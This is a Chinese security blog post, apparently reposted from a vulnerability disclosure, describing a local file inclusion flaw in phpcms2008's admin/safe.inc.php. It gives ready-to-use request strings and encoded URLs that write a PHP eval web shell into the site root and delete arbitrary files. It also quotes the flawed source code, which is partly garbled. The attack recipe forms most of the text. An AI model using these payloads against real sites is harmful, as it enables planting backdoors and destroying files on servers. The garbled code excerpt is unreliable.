phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

简介:

 by c4rp3nt3r@0x50sec.org

phpcms2008 sp2 or sp4偶没仔细看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。

phpcms本地包含拿shell的方法,这篇文章接上一个

http://www.wooyun.org/bugs/wooyun-2010-01795

《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话
用上一篇得到的密钥key=sIpeofogblFVCildZEwe;evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==


贴上存在漏洞的代码
//admin/safe.inc.php
<?php
defined(‘IN_PHPCMS’) or exit(‘Access Denied’);
// include/common.inc.php 里面声明了常量
// define(‘IN_PHPCMS’, TRUE);

if(empty(action))action = “start”;
safe=cacheread(safe.php);filecheck = load(‘filecheck.class.php’);
if(empty(safe))$safe=array(filetype=>php|js,code=>,func=>com|system|exec|eval|escapeshell|cmd|passthru|base64decode|gzuncompress,dir=>$filecheck>checkeddirs());switch(action)
{

case ‘edit_code’:
if (file_put_contents(PHPCMS_ROOT.filepath,stripcslashes(code)))
{
showmessage(‘修改成功!’);
}
break;

case ‘del_file’:
filepath=urldecode(files);

if (empty(filepath))showmessage();file_list = cache_read(‘scan_backdoor.php’);
unset(filelist[file_path]);
cache_write(‘scan_backdoor.php’,filelist);@unlink(PHPCMSROOT.file_path);
showmessage(‘文件删除成功!’, ‘?mod=phpcms&file=safe&action=scan_table’);
break;













本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/537456,如需转载请自行联系原作者

目录
打赏
0
0
0
0
100
分享
相关文章
Android系统 adb shell push/pull 禁止特定文件
Android系统 adb shell push/pull 禁止特定文件
680 1
|
8月前
|
【Shell 命令集合 链接器(linker)工具】Linux ld命令 将目标文件与库链接为可执行文件或库文件
【Shell 命令集合 链接器(linker)工具】Linux ld命令 将目标文件与库链接为可执行文件或库文件
277 0
|
8月前
|
【Shell 命令集合 系统设置 】Linux 创建Kickstart文件mkkickstart命令 使用指南
【Shell 命令集合 系统设置 】Linux 创建Kickstart文件mkkickstart命令 使用指南
79 0
【Shell 命令集合 备份压缩 】Linux 提取zip压缩文件的详细信息 zipinfo命令 使用指南
【Shell 命令集合 备份压缩 】Linux 提取zip压缩文件的详细信息 zipinfo命令 使用指南
136 0
|
8月前
|
【Shell 命令集合 系统管理 】Linux 自动轮转(log rotation)日志文件 logrotate命令 使用指南
【Shell 命令集合 系统管理 】Linux 自动轮转(log rotation)日志文件 logrotate命令 使用指南
197 0
|
3月前
|
Shell 文件包含
10月更文挑战第5天
44 4
Elasticsearch【问题记录 01】启动服务&停止服务的2类方法【及 java.nio.file.AccessDeniedException: xx/pid 问题解决】(含shell脚本文件)
【4月更文挑战第12天】Elasticsearch【问题记录 01】启动服务&停止服务的2类方法【及 java.nio.file.AccessDeniedException: xx/pid 问题解决】(含shell脚本文件)
757 3
LeetCode刷题 Shell编程四则 | 194. 转置文件 192. 统计词频 193. 有效电话号码 195. 第十行
本文提供了几个Linux shell脚本编程问题的解决方案,包括转置文件内容、统计词频、验证有效电话号码和提取文件的第十行,每个问题都给出了至少一种实现方法。
LeetCode刷题 Shell编程四则 | 194. 转置文件 192. 统计词频 193. 有效电话号码 195. 第十行
上传漏洞利用时,没有回显上传目录怎么连接shell
上传漏洞利用时,没有回显上传目录怎么连接shell
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等